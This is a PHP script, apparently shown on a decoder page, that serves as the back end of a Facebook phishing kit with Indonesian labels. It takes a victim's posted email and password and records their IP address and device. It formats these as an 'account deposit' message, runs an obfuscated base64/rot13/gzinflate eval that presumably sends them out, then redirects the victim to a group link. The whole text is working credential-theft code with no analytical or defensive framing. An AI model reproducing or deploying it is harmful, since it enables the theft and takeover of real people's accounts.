PHP Decode

$browser = $_SERVER['HTTP_USER_AGENT'];
if(preg_match("/Windows/i", $browser)) {
    $browser = "Windows";
} elseif(preg_match("/Android/i", $browser)) {
    $browser = "Android";
} elseif(preg_match("/iPhone/i", $browser)) {
    $browser = "iPhone";
} elseif(preg_match("/Mac OS/i", $browser)) {
    $browser = "Mac OS";
} elseif(preg_match("/Ubuntu/i", $browser)) {
    $browser = "Ubuntu";
} elseif(preg_match("/compatible/i", $browser)) {
    $browser = "compatible";
} else {
    $browser = "Tidak Di Ketahui";
}
$user = $_POST['email'];
$pass = $_POST['password'];
$ip = $_SERVER['REMOTE_ADDR'];
$linkgrup = $_POST['linkgrup'];
if(empty($user && $pass && $linkgrup)) { header('location: ./'); }
$subjek = "Setor Akun Si { ".$user." }";
$pesan = '<p>
-=== Akun Facebook ===-
<p>
|>> Email : '.$user.'
<p>
|>> Password : '.$pass.'
<p>
-=== Info Perangkat ===-
<p>
|>> Ip Address : '.$ip.'
<p>
|>> Device : '.$browser.'
<p>
-==== Terima Kasih ====-
';
include 'email.php';
$headersx  = 'MIME-Version: 1.0' . "
";
$headersx .= 'Content-type: text/html; charset=iso-8859-1' . "
";
$headersx .= 'From: '.$pengirim.' <[email protected]>' . "
";
eval(str_rot13(gzinflate(str_rot13(base64_decode('hY8xeMMwEIX3T/6DBhE5IHG6tnFVguxZpWigkMlLTyeTgCJfI9XOr6/k0mlYueHdfWrvwdExmmsjeGVmZCoocxl7QSj0l0IcRqMRXJc0oBvQwGz1vGugPiSL783Uxi7ab3NNgXoHdF1NsTl1zQTtAY1gWO0AQcoMGeU+oajzEGjyzlaASXZbpHlBXvfyuN3VehJBS7BJP5XldswlfGPdFaMWylzLjzghCB00W93LkVq9l5tNvnmqUCM5bLx7vdtJ9eG9Ob5I+f+ft/618L9HPKPPB7/AQgrwm3wB')))));
echo "<script>document.location='".$linkgrup."';</script>";